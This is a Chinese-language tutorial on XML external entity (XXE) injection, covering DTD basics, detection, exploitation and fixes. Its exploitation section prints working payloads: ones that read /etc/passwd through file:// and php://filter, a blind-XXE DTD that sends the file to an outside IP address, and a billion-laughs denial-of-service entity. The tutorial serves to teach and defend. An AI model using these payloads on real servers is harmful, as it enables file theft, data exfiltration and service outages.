XXE XML 外部实体注入
概述
XML(可扩展标记语言,Extensible Markup Language) 是一种用于存储和传输数据的标记语言,具有高度的灵活性和可扩展性。XML 允许用户自定义标签,相较于受严格约束的 HTML(实际上是 XML 的一个特化应用),XML 的标签定义更加自由。
XXE(XML External Entity Injection,XML 外部实体注入) 是一种常见的安全漏洞,攻击者通过构造恶意的 XML 输入,利用服务器对 XML 的解析机制加载外部实体,从而可能导致敏感信息泄露、拒绝服务攻击(DoS)、GetShell 等问题。
XML 与 DTD 基础
XML 简介
XML 是一种用于结构化数据的标记语言,广泛应用于数据交换、配置文件存储等场景。其语法结构由标签、属性和内容组成,示例如下:
<?xml version="1.0" encoding="UTF-8"?>
<!-- XML 声明:指定 XML 版本为 1.0,字符编码为 UTF-8 -->
<note>
<!-- 根元素:表示这是一个便签/笔记文档 -->
<to>Alice</to>
<!-- 收件人元素:指定便签的接收者是 Alice -->
<from>Bob</from>
<!-- 发件人元素:指定便签的发送者是 Bob -->
<message>Hello, World!</message>
<!-- 消息内容元素:包含实际的消息文本 "Hello, World!" -->
</note>
XML 的灵活性在于其标签可以根据需求自由定义,而无需遵循预定义的结构。
DTD(文档类型定义)
DTD(Document Type Definition,文档类型定义) 是 XML 的元语言,用于定义 XML 文档的结构和合法元素、属性等规则。DTD 可以嵌入在 XML 文档内部(内部 DTD),也可以通过外部文件引用(外部 DTD)。
DTD 示例
<!DOCTYPE class_system [
<!-- DTD 文档类型定义开始,根元素为 class_system -->
<!ELEMENT class_system (departments)>
<!-- 根元素 class_system 包含一个 departments 子元素 -->
<!ELEMENT departments (department+)>
<!-- departments 元素包含一个或多个 department 子元素(+表示至少出现一次) -->
<!ELEMENT department (dept_name, headcount, location)>
<!-- department 元素必须包含 dept_name、headcount、location 三个子元素,且按此顺序 -->
<!ELEMENT dept_name (#PCDATA)>
<!-- dept_name 元素包含可解析的字符数据 -->
<!ELEMENT headcount (#PCDATA)>
<!-- headcount 元素包含可解析的字符数据 -->
<!ELEMENT location (#PCDATA)>
<!-- location 元素包含可解析的字符数据 -->
]>
内部 DTD 与外部 DTD
内部 DTD:直接嵌入在 XML 文件中,定义在
<!DOCTYPE>
标签内。<?xml version="1.0" encoding="UTF-8"?> <!-- XML声明:指定 XML版本为1.0,字符编码为UTF-8 --> <!DOCTYPE note [ <!-- 文档类型定义 (DTD) 开始,定义 note 文档的结构和实体 --> <!ENTITY greeting "Hello, World!"> <!-- 定义了一个名为 greeting 的实体,其值为 "Hello, World!" --> ]> <note> <!-- 根元素 note 开始 --> <message>&greeting;</message> <!-- message 元素内容引用了greeting实体, 解析时 &greeting; 会被替换为 "Hello, World!" --> </note>
外部 DTD:通过
SYSTEM
或PUBLIC
关键字引用外部 DTD 文件。<!DOCTYPE note SYSTEM "note.dtd"> <!-- 声明结构: - `!DOCTYPE` → 表示开始文档类型定义 - `note` → 指定根元素为 <note> - `SYSTEM` → 表示引用外部 DTD 文件 - "note.dtd" → 外部 DTD 文件路径 -->
DTD 实体
DTD 实体 可以理解为 XML 中的变量,用于存储可复用的数据。实体分为 内部实体 和 外部实体,并通过 &entity_name;
的方式调用。
内部实体
内部实体是在 DTD 中直接定义的变量,内容由开发者直接提供。
<!DOCTYPE note [
<!ENTITY greeting "Hello, World!">
]>
<note>
<message>&greeting;</message>
</note>
解析后,&greeting;
将被替换为 Hello, World!
。
外部实体
外部实体通过 SYSTEM
关键字引用外部资源(如文件或 URL),其内容由外部资源提供。
<!DOCTYPE note [
<!ENTITY external SYSTEM "https://example.com/data.txt">
]>
<note>
<message>&external;</message>
</note>
如果服务器允许加载外部实体,&external;
将被替换为 https://example.com/data.txt
的内容。这正是 XXE 漏洞的根源。
参数实体
参数实体 是一种特殊的实体,仅能在 DTD 内部使用,通过 %entity_name;
调用。参数实体通常用于定义可复用的 DTD 片段。
内部参数实体
<!DOCTYPE note [
<!-- 定义参数实体 %param,内容为 "Hello, World!"(只能在DTD内部使用) -->
<!ENTITY % param "Hello, World!">
<!-- 定义普通实体 greeting,其值引用参数实体 %param 的内容 -->
<!ENTITY greeting "%param;">
]>
<note>
<!-- 引用 greeting 实体,最终显示参数实体 %param 定义的内容 -->
<message>&greeting;</message>
</note>
外部参数实体
<!DOCTYPE note [
<!-- 定义参数实体 %external,引用外部 DTD 文件(SYSTEM 表示外部资源) -->
<!ENTITY % external SYSTEM "http://example.com/data.dtd">
<!-- 引用参数实体 %external,将加载并合并远程 DTD 内容到当前 DTD 中 -->
%external;
]>
外部参数实体可能引入外部 DTD 文件,从而导致潜在的安全风险。
产生原因
- 未过滤的 XML 输入:系统未对用户提交的 XML 文档进行结构验证或内容过滤或是做严格限制,允许攻击者可以传入任意的 XML,或插入恶意构造的 XML 内容。
- 外部实体加载未禁用:XML 解析器默认启用了外部实体(External Entity)解析功能,允许外部实体加载,未通过配置显式关闭。
漏洞挖掘
白盒审计
在代码审计中,重点关注以下几个方面:
XML 解析相关函数:
- PHP:
loadXML()
、simplexml_load_string()
、simplexml_import_dom()
- Java:
DocumentBuilder
、SAXParser
- Python:
xml.etree.ElementTree
、lxml
- PHP:
用户输入点:检查用户是否可以通过请求(如 POST 数据)传入 XML。
外部实体加载配置:检查 XML 解析器是否启用了外部实体解析。例如:
- PHP 中,
libxml_disable_entity_loader(false)
表示允许外部实体加载。
- PHP 中,
截图示例:
黑盒挖掘
有回显挖掘
在黑盒测试中,可通过以下步骤挖掘 XXE 漏洞:
检查请求体是否支持 XML:
- 观察请求体是否为 XML 格式。
- 尝试修改
Content-Type
头部为application/xml
,测试服务器能否传入 XML 数据。
测试外部实体解析:
- 构造包含外部实体的 XML,尝试加载远程 URL 或本地文件,测试服务器能否解析 XML 中的实体。
截图示例:测试外部实体解析
无回显挖掘(盲 XXE)
在无回显场景下,可通过以下方法检测 XXE 漏洞:
HTTP 请求查询:
- 在 DTD 里定义一个外部实体,外部实体值是自己开启的 URL 链接。
- 看 URL 是否有访问记录,如果有,说明实体被解析,则有 XXE 漏洞。
- 看到有相同 URI 记录的 HTTP 请求,说明 XML 中的实体被解析,目标存在 XXE 漏洞。
没有云服务器可以使用 BurpSuite 自带的 HTTP 记录,
CollarBorator
模块。
DNS 解析查询:
- 使用 BurpSuite 或其他方式获取一个域名。
- 为域名增加一个子域名,随后将域名写于 DTD,并发送请求包。
- 查看 DNS 解析是否存在增加的子域名,若存在,则目标存在 XXE 漏洞。
截图示例:
- HTTP 请求查询:
- 子域名 DNS 解析查询:
XXE 漏洞利用
利用伪协议
XXE 漏洞常通过伪协议(如 file://
、php://filter
)读取文件内容。
file://
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY a SYSTEM "file:///etc/passwd"> ]> <root> <username>&a;</username> <password>password</password> </root>
php://filter
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY a SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd"> ]> <root> <username>&a;</username> <password>password</password> </root>
截图示例:利用伪协议
利用外部 DTD
WAF 可能会拦截 file://
、php://filter
伪协议,因此可以把 DTD 放在自己的攻击机上,让受害者靶机远程访问加载 DTD。
攻击机上的 DTD 文件:
<!ENTITY a SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
构造 payload:
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY % b SYSTEM "http://192.168.2.101:8000/phpfilter.dtd"> %b; ]> <root> <username>&a;</username> <password>password</password> </root>
步骤:
- 在攻击机上托管 DTD 文件并启动 HTTP 服务。
- 发送 payload,诱导目标服务器加载外部 DTD。
- 检查回显,获取目标服务器的信息。
截图示例:利用外部 DTD
盲打 XXE
在无回显场景下,可通过外部 DTD 将数据外带至攻击者服务器。
攻击机上的 DTD 文件:
<!ENTITY % a SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd"> <!-- 定义一个外部参数实体 a,通过 php://filter 读取 /etc/passwd 并 base64 编码 --> <!ENTITY % b "<!ENTITY % c SYSTEM 'http://8.140.229.98:8000/?result=%a;'>"> <!-- 定义一个内部参数实体 b,内容是外部参数实体 c --> <!-- 外部参数实体 c 向 http://8.140.229.98:8000 携带参数发送请求 --> <!-- 参数引用外部参数实体 a,获取系统 /etc/passwd 内容 --> <!-- % 是百分号 % 的 HTML 实体编码 --> %b; <!-- 调用实体 b --> %c; <!-- 调用实体 c -->
构造 payload:
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY % d SYSTEM "http://192.168.2.101:8000/shell.dtd"> %d; ]> <root> <username>admin</username> <password>password</password> </root>
步骤:
- 托管 DTD 文件并启动 HTTP 服务。
- 发送 payload,诱导目标服务器加载外部 DTD。
- 检查攻击机日志,获取外带的数据(如 Base64 编码的
/etc/passwd
内容)。
截图示例:
- 盲 XXE 利用:
- 盲打 XXE:
命令执行(基本不可能)
利用 expect://
伪协议执行命令,但 PHP 默认禁用该协议,实际场景中成功率极低。
DDOS 攻击
通过构造递归实体(如“十亿次笑声”攻击),耗尽服务器内存或 CPU 资源,中间件卡死。
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;">
<!-- 递归扩展导致内存耗尽 -->
]>
<lolz>&lol3;</lolz>
修复
禁用外部实体解析:
- PHP:设置
libxml_disable_entity_loader(true)
。 - Java:配置
DocumentBuilderFactory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true)
。 - Python:使用
defusedxml
库替代标准库。
- PHP:设置
过滤伪协议:拦截
file://
、php://filter
、expect://
等伪协议。验证 XML 输入:对用户提交的 XML 进行严格的结构和内容验证,限制 DTD 和外部实体使用。